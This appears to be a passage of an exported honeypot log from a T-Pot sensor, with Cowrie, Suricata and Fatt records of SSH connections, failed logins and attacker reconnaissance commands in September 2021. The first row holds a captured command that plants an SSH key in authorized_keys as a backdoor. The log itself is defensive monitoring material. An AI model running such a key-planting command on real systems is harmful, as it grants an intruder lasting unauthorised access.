AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:57.204837Z", "@timestamp": "2021-09-20T11:53:57.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32958	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:58.030798+03	2021-09-20 15:00:04.136723+03	{"_id": "4AYOA3wBvYTbRNuEQEx4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:58.030798Z", "@timestamp": "2021-09-20T11:53:58.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32959	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:53:58.873684+03	2021-09-20 15:00:04.137753+03	{"_id": "8gYOA3wBvYTbRNuERExh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:58490 (192.168.176.2:22) [session: e4b171a13baf]", "session": "e4b171a13baf", "@version": "1", "protocol": "ssh", "src_port": 58490, "dest_port": 22, "timestamp": "2021-09-20T11:53:58.873684Z", "@timestamp": "2021-09-20T11:53:58.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32963	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:53:59.834524+03	2021-09-20 15:00:04.142753+03	{"_id": "DwYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f878bb8c6070", "@version": "1", "timestamp": "2021-09-20T11:53:59.834524Z", "@timestamp": "2021-09-20T11:53:59.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32964	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:53:59.833861+03	2021-09-20 15:00:04.144752+03	{"_id": "EAYOA3wBvYTbRNuESU21", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 1774910105420870, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59934, "dest_port": 22, "timestamp": "2021-09-20T11:53:59.833861Z", "@timestamp": "2021-09-20T11:53:59.833Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32965	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:59.729607+03	2021-09-20 15:00:04.146753+03	{"_id": "EgYOA3wBvYTbRNuESk2_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59934, "timestamp": "2021-09-20T11:53:59.729607", "@timestamp": "2021-09-20T11:53:59.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32966	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:00.349768+03	2021-09-20 15:00:04.147753+03	{"_id": "FAYOA3wBvYTbRNuETE0z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "f878bb8c6070", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:54:00.349768Z", "@timestamp": "2021-09-20T11:54:00.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32967	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:02.302979+03	2021-09-20 15:00:04.149763+03	{"_id": "MAYOA3wBvYTbRNuEVE0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:02.302979Z", "@timestamp": "2021-09-20T11:54:02.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32968	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.681823+03	2021-09-20 15:00:04.150754+03	{"_id": "PQYOA3wBvYTbRNuEV03u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "91.231.219.157", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21223926544189453, "duplicate": true, "timestamp": "2021-09-20T11:54:03.681823Z", "@timestamp": "2021-09-20T11:54:03.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32969	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.4702+03	2021-09-20 15:00:04.151724+03	{"_id": "PAYOA3wBvYTbRNuEV03u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:03.470200Z", "@timestamp": "2021-09-20T11:54:03.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32970	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:54:03.19466+03	2021-09-20 15:00:04.152753+03	{"_id": "QAYOA3wBvYTbRNuEV03u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.login.failed", "message": "login attempt [market/123456] failed", "session": "4b9ace7639c7", "@version": "1", "password": "123456", "username": "market", "timestamp": "2021-09-20T11:54:03.194660Z", "@timestamp": "2021-09-20T11:54:03.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32971	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:10.274419+03	2021-09-20 15:00:04.153753+03	{"_id": "nQYOA3wBvYTbRNuEc01M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "189.50.42.214", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.5580668449401855, "duplicate": true, "timestamp": "2021-09-20T11:54:10.274419Z", "@timestamp": "2021-09-20T11:54:10.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32972	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:10.481483+03	2021-09-20 15:00:04.155759+03	{"_id": "nwYOA3wBvYTbRNuEc01M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "91.231.219.157", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.20943188667297363, "duplicate": true, "timestamp": "2021-09-20T11:54:10.481483Z", "@timestamp": "2021-09-20T11:54:10.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
45150	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:40:32.36539+03	2021-09-20 16:45:02.58059+03	{"_id": "iQZvA3wBvYTbRNuE1Kp-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:40:32.365390Z", "@timestamp": "2021-09-20T13:40:32.365Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32973	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:11.618274+03	2021-09-20 15:00:04.156753+03	{"_id": "pwYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:11.618274Z", "@timestamp": "2021-09-20T11:54:11.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32974	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:11.734709+03	2021-09-20 15:00:04.157753+03	{"_id": "rQYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:11.734709Z", "@timestamp": "2021-09-20T11:54:11.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32975	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:11.735244+03	2021-09-20 15:00:04.158753+03	{"_id": "rgYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:11.735244Z", "@timestamp": "2021-09-20T11:54:11.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32976	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:11.842793+03	2021-09-20 15:00:04.160722+03	{"_id": "qAYOA3wBvYTbRNuEd001", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "91.231.219.157", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.2251448631286621, "duplicate": true, "timestamp": "2021-09-20T11:54:11.842793Z", "@timestamp": "2021-09-20T11:54:11.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32977	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:12.502167+03	2021-09-20 15:00:04.162756+03	{"_id": "twYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:12.502167Z", "@timestamp": "2021-09-20T11:54:12.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32978	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:12.608507+03	2021-09-20 15:00:04.163753+03	{"_id": "ugYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "91.231.219.157", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.1069955825805664, "duplicate": true, "timestamp": "2021-09-20T11:54:12.608507Z", "@timestamp": "2021-09-20T11:54:12.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
